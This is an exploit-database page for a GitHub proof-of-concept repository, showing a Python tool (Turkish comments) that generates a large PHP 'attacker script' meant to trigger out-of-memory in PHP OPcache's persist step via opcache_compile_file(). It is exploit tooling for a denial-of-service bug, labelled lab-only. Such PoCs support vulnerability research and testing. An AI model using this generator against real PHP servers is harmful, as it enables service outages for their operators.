Exploit database

GH-69e7e7c315c6748278384db916a60c97

leonewt0n/php2shell-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
leonewt0n/php2shell-pocRevision 882631474ba7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/generate_attacker_script.py

Python · 2,481 bytes
#!/usr/bin/env python3
"""
Buyuk PHP dosyasi uretir — OPcache persist() sirasinda OOM tetikler.

    python3 generate_attacker_script.py --functions 200 --literals 50 -o lab/www-bug4/attacker.php
"""
from __future__ import annotations
import argparse
import sys


def generate(num_functions: int, literals_per_fn: int,
             literal_size: int) -> str:
    lines = [
        '<?php',
        '/**',
        ' * Bug 4: Auto-generated attacker script',
        f' * {num_functions} functions × {literals_per_fn} literals × '
        f'{literal_size}B = ~{num_functions * literals_per_fn * (literal_size + 30) // 1024}KB',
        ' * Generated by tools/generate_attacker_script.py',
        ' * SADECE LAB — opcache_compile_file() ile persist edilir.',
        ' */',
        '',
    ]

    for fn in range(num_functions):
        lines.append(f'function atk_fn_{fn}() {{')
        lines.append('    $a = array();')
        for lit in range(literals_per_fn):
            char = chr(0x41 + (lit % 26))
            pad = char * literal_size
            lines.append(
                f'    $a[] = "atk_{fn:04d}_{lit:04d}_{pad}";')
        lines.append('    return $a;')
        lines.append('}')
        lines.append('')

    lines.append(
        '// Bu dosya calistirilmaz; sadece '
        'opcache_compile_file() ile persist edilir.')
    lines.append("echo \"Attacker script: compile-only.\\n\";")
    lines.append('')
    return '\n'.join(lines)


def main() -> int:
    ap = argparse.ArgumentParser(
        description="Bug 4: OPcache OOM tetikleyici PHP script ureteci")
    ap.add_argument('--functions', type=int, default=200,
                    help='Fonksiyon sayisi (varsayilan: 200)')
    ap.add_argument('--literals', type=int, default=50,
                    help='Fonksiyon basina literal sayisi (varsayilan: 50)')
    ap.add_argument('--literal-size', type=int, default=200,
                    help='Her literal string boyutu (byte, varsayilan: 200)')
    ap.add_argument('--output', '-o', default='lab/www-bug4/attacker.php',
                    help='Cikti dosyasi')
    args = ap.parse_args()

    code = generate(args.functions, args.literals, args.literal_size)
    with open(args.output, 'w', encoding='utf-8') as f:
        f.write(code)
    size_kb = len(code) // 1024
    print(f"[+] {args.output} uretildi ({size_kb}KB, "
          f"{args.functions} fn × {args.literals} lit)")
    return 0


if __name__ == '__main__':
    sys.exit(main())